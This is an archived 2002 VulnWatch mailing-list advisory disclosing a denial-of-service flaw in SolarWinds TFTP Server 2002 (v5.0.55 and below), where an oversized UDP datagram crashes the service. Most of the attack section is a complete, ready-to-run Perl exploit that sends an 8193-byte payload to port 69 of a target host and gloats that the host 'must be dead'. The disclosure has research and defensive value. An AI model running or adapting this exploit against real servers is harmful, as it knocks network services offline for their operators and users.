[VulnWatch] TFTP Server DoS

From: D4rkGr3y (grey_1999at_private)
Date: Thu Oct 24 2002 - 09:14:03 PDT

  • Next message: Linux: "Router DSL Dlink"

    #############################################
    #Product: TFTP Server 2002 Standard Edition #
    #Authors: SolarWinds [www.SolarWinds.net]   #
    #Vulnerable versions: v.5.0.55 and bellow   #
    #Vulnerability: buffer overflow             #
    #Bug&exploit by D4rkGr3y [www.dhgroup.org]  #
    #############################################
    
    #Overview#--------------------------------------------------------------#
    From TFTP Server help:
    "Many network devices require a TFTP Server to load their initial
    operating system or configuration. Many routers, switches, hubs,
    X-terminals, printers, terminal servers, etc need a TFTP server
    in order to load their initial configuration".
    
    #Description#------------------------------------------------------------#
    First, TFTP - Trivial File Transfer Protocol. This is not FTP! TFTP and
    FTP are different protocols - it's very important! TFTP uses UDP protocol
    for it's work and it doesn't support some FTP's stuff. Directory travel
    for example. U can use TFTP for file transfer only. Read RFC 1350 for
    more details.
    
    #Bug#--------------------------------------------------------------------#
    It's possible to crash TFTP server using UDP datagram with a large size
    (8193b and above). Vulnerable application on remote host will be closed
    with error message:
    
    Run-time error '10040':
    The datagram is too large to fit into the buffer and is truncated.
    
    #Exploit#----------------------------------------------------------------#
    
    #!/usr/bin/perl
    #TFTP Server remote DoS exploit by D4rkGr3y
    use IO::Socket;
    $host = "vulnerable_host";
    $port = "69";
    $data = "q";
    $num = "8193";
    $buf .= $data x $num;
    $socket = IO::Socket::INET->new(Proto => "udp") or die "Socket error: $@\n";
    $ipaddr = inet_aton($host);
    $portaddr = sockaddr_in($port, $ipaddr);
    send($socket, $buf, 0, $portaddr) == length($buf) or die "Can't send: $!\n";
    print "Now, '$host' must be dead :)\n";
    
    #EOF
    
    Best regards               www.dhgroup.org
      D4rkGr3y                    icq 540981
    



    This archive was generated by hypermail 2b30 : Thu Oct 24 2002 - 10:05:21 PDT